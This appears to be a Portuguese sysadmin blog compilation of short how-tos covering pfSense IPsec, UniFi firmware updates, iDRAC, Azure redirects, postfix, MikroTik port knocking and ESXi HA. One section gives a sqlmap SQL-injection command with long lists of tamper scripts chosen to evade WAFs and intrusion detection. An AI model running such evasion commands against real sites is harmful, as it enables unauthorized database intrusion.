tunel IPSEC utilizando IPs virtuais

Tunel IPSEC utilizando IPs virtuais (rede lan com a mesma faixa de rede) no pfSense

Caso precise fechar um tunel IPSEC e a rede LAN seja igual em ambos os lados faça o seguinte procedimento:

Ambiente:

Escritório1
LAN: 192.168.0.0/24
Rede LAN Virtual no IPSEC 100.100.100.0/24

Escritório2
LAN: 192.168.0.0/24
Rede LAN Virtual no IPSEC 200.200.200.0/24

Configurações necessárias no pfSense do escritório 1:

Criar um Virtual IP (Firewall -> Virtual IP) do tipo IP Alias, na interface LAN com o endereço IP: 100.100.100.0/24 (a rede 100.100.100.0/24) Será a rede Lan “virtual” do escritório 1.

Criar uma interface para o tunel (Interfaces -> Assignments), e depois em Interfaces (OPT) ou o nome da nova interface, renomear como desejar e ativar ela.

Adicionar as rotas: System -> Routing, 200.200.200.0/24 apontando para a interface que você criou.

Criar o Nat de saida, (Firewall -> Nat -> Outbound), deixar em Manual, Salvar. Interface (Placa Wan), Source: 192.168.0.0/24, Destination: Network: 200.200.200.0/24, Address: 100.100.100.1.

Mudar a Phase 2 do tunel para Routed (VTI).

Repetir esses passos para o escritório invertendo as redes.

Pronto, a comunicação deverá ocorrer normalmente.

Atualizar um Unifi a partir de uma versão antiga ou Unifi em looping durante o update automatico da controladora

Caso tenha problemas para Adotar/adicionar um equipamento Unifi/Ubiquiti na rede e ele fique em looping na hora de atualizar o firmware, realize o seguinte procedimento manualmente, acessando o mesmo via ssh com o usuario ubnt/ubnt:

syswrapper.sh restore-default – Este comando irá resetar o unifi para as configurações padrão.

  wget –no-check-certificate <firmware_binary_link_location> -O /tmp/fwupdate.bin – Realiza o download da imagem direto para o unifi, exemplo:

wget –no-check-certificate https://dl.ui.com/unifi/firmware/U2Sv2/3.7.58.6385/BZ.qca9342.v3.7.58.6385.170508.0942.bin -O /tmp/fwupdate.bin

  syswrapper.sh upgrade2 & – realiza a instalação do pacote e reinicia o equipamento.

wget –no-check-certificate https://dl.ui.com/unifi/firmware/BZ2/3.9.54.9373/BZ.ar7240.v3.9.54.9373.180913.2356.bin  -O /tmp/fwupdate.bin  

curl –no-check-certificate  https://dl.ui.com/unifi/firmware/BZ2/4.0.10.9653/BZ.ar7240.v4.0.10.9653.181205.1311.bin  -O /tmp/fwupdate.bin    

SQLmap tips and waf bypass

Algumas dicas para o sqlmap:

O parametro: –random-agent envia a requisição como um outro navegador (não como sqlmap que vários firewalls e IDs descartam)

E o –tamper permite inserir várias tecnicas de embaralhamento de caracteres.

sqlmap -u ‘http://www.site.com:80/search.cmd?form_state=1’ –level=5 –risk=3 -p ‘item1’  –random-agent –tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

Tamper para alguns tipos de DBMS:

Geral:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

MSSQL:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

MySQL:

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

Fonte:

https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423

Configurando Idrac 4, 5 e 6 via RACADM

Verificar as configurações de rede com o racadm:

racadm getniccfg

Ele funciona como um ipconfig.
Para alterar as configurações de rede pelo racadm:

racadm setniccfg -s ipAddress gatewayAddress subnetMask

 

Verificar as informações de usuário com o seguinte comando racadm:

iDRAC 4:

racadm getconfig -g cfgUserAdmin -i 1

iDRAC 5 e 6:

racadm getconfig -g cfgUserAdmin -i 2
# cfgUserAdminIndex=2
cfgUserAdminUserName=root
# cfgUserAdminPassword=** (Write-Only)
cfgUserAdminEnable=1
cfgUserAdminPrivilege=0x000001ff
cfgUserAdminIpmiLanPrivilege=4
cfgUserAdminIpmiSerialPrivilege=4
cfgUserAdminSolEnable=1

Depois de ter certeza que esta no ID correto do usuário, troque a senha com o seguinte comando:

iDRAC 4:

racadm config -g cfgUserAdmin -o cfgUserAdminPassword -i 1 novasenha

iDRAC 5 and 6:

racadm config -g cfgUserAdmin -o cfgUserAdminPassword -i 2 novasenha


Object value modified successfully

 

 

Fazer direcionamento de dominio no Azure

No Azure para direcionar um dominio por exemplo: dominioantigo.com.br para um novodominio.com.br faça a seguinte configuração no web.config:

<system.webServer>
<rewrite>
<rules>
<rule name=”DomainRedirect” stopProcessing=”true”>
<match url=”.*” />
<conditions>
<add input=”{HTTP_HOST}” pattern=”^dominioantigo.com.br$” />
</conditions>
<action type=”Redirect” url=”http://novodominio.com.br/{R:0}” redirectType=”Permanent”/>
</rule>
</rules>
</rewrite>
</system.webServer>

Caso a forma acima não funcione:

<rewrite>
<rules>
<rule name=”Redirect rquests to default azure websites domain” stopProcessing=”true”>
<match url=”(.*)” />
<conditions logicalGrouping=”MatchAny”>
<add input=”{HTTP_HOST}” pattern=”^dominio\.com\.br$” />
</conditions>
<action type=”Redirect” url=”https://www.novodominio.com.br/redirect{R:0}” />
</rule>
</rules>
</rewrite>

Pronto, todas as requisições feitas para o dominio antigo serão reescritas para o endereço especificado.

Caso queira criar uma exceção para a url noredirect por exemplo, é só adicionar o codigo:

<rule>
<rule name=”noredirect” stopProcessing=”true”>
<match url=”^noredirect(.*)” />
<conditions>
<add input=”{REQUEST_URI}” pattern=”(.*)/noredirect$” negate=”true” />
</conditions>
</rule>

Troubleshoot basico do postfix

Troubleshoot básico do postfix:

Arquivo para configurar uma conta externa para envio de email:
vim /etc/postfix/sasl_passwd

Aplicar a configuração:
postmap /etc/postfix/sasl_passwd

Ver a fila de emails:
postqueue -p

Colocar todos os emails na fila de entrega novamente:
postqueue -f

Forçar a entrega dos emails que estão na fila:
postsuper -r ALL

Port Knock no Mikrotik

Hoje vou mostrar um recurso bem interessante disponivel no Mikrotik, que é o Port Knock, basicamente com ele você pode fazer a liberação de um determinado IP a sua rede, somente após ele fazer uma conexão em uma determinada porta antes, por exemplo, você quer acessar o RDP no seguinte endereço: 200.200.200.200:23389,

Para não deixar a porta 23389 aberta para o “mundo”, você deixa permitido somente os IPs que estão na Whitelist, e como adicionar um IP na Whitelist? Basta dar um telnet na porta 65500, entendeu?

Vamos as regras:

Essa primeira regra diz que todo IP que fizer uma conexão na porta 65500 TCP, será adicionado na nossa Whitelist por 1 minuto.

/ip firewall filter
add action=add-src-to-address-list address-list=”IP_Liberado \
address-list-timeout=1m chain=input dst-port=65500 protocol=tcp

A segunda regra diz que se o IP tiver no address List “IP_Liberado”, a conexão será permitida:

add chain=input src-address-list=”IP_Liberado” action=accept

E a ultima regra descarta todo o restante:

add action=drop chain=input

Opcional:
É possivel criar uma camada adicional por exemplo, depois de fazer um telnet na porta 65500 Tcp, seja necessário fazer outro telnet na porta 15000 Tcp que será adicionado em um outro address list que os IPs desse segundo Address List terão acesso ao sistema.

Fonte: wiki.mikrotik.com

Atualização automática de DNS Dinâmico no DNS-O-Matic atrás de um NAT no Mikrotik

O script abaixo faz a atualização dos endereços DNS Dinamicos, cadastrados no DNS-O-Matic, caso seu equipamento esteja atrás de um nat, mas caso não esteja, ele também funciona.

Permissões necessárias para execução do Script no Mikrotik:
read, write, policy, test

# DNSoMatic atualização automatica de DNS

#————— Altere as configurações de acordo com sua necessidade ——————

# Dados da conta do DNSoMatic

:local maticuser “usuarioaqui”
:local maticpass “suasenha”

# Insira o endereço ou nome da rede que deverá ser atualizada, essa informação fica depois do (::) na pagina de serviços do DNSoMatic.
# Não é aceito hostname com espaços. Troque os valores abaixo pelo seu hostname.
# Para especificar vários hosts, separe por virgula.
# Use “all.dnsomatic.com” para atualizar todos os itens do dnsomatic para esse IP.

:local matichost “hostname1,hostname2”

# Coloque o nome da interface que possui o ip dinamico.

:local inetinterface “ether1-gateway”

#———————————————————————————–

# Não precisa alterar nada a partir daqui

:global previousIP;

# Pega o IP Valido e salva na memória
:global currentIP [:resolve myip.opendns.com server=208.67.222.222];

#:if ([/interface get $inetinterface value-name=running]) do={
# Pega o endereço IP da Interface, caso não esteja atrás de NAT.
#    :local currentIP [/ip address get [find interface=”$inetinterface” disabled=no] address];

# Strip the net mask off the IP address
:for i from=( [:len $currentIP] – 1) to=0 do={
:if ( [:pick $currentIP $i] = “/”) do={
:set currentIP [:pick $currentIP 0 $i]
}
}

:if ($currentIP != $previousIP) do={
:log info “DNSoMatic: Update needed”
:set previousIP $currentIP

# The update URL. Note the “\3F” is hex for question mark (?). Required since ? is a special character in commands.
:local url “http://updates.dnsomatic.com/nic/update\3Fmyip=$currentIP&wildcard=NOCHG&mx=NOCHG&backmx=NOCHG”
:local matichostarray;
:set matichostarray [:toarray $matichost];
:foreach host in=$matichostarray do={
:log info “DNSoMatic: Sending update for $host”
/tool fetch url=($url . “&hostname=$host”) user=$maticuser password=$maticpass mode=http dst-path=(“dnsomaticupdate-” . $host . “.txt”)
:log info “DNSoMatic: Host $host updated on DNSoMatic with IP $currentIP”
}
}  else={
:log info “DNSoMatic: Previous IP $previousIP and current IP equal, no update need”
}
} else={
:log info “DNSoMatic: $inetinterface is not currently running, so therefore will not update.”
}

Corrigindo Erro de HA no ESXI

O host Esxi pode apresentar um dos seguintes erros:

 

  • Cannot complete the configuration of the HA agent on the host. See the task details for additional information.
  • Misconfiguration in the host network setup
  • Cannot complete the configuration of the vSphere HA agent on the host Misconfiguration in the host setup

Para resolver esse problema:

1 – Acesse o host via SSH com o usuario root

2 – Reinicie oos serviços ESXI host daemon e vCenter Agent Services, usando os seguintes comandos:

/etc/init.d/hostd restart

/etc/init.d/vpxa restart

3 – Em seguida clique com o botão direito sobre o host e depois em:

“Reconfigure Host for vSphere HA”.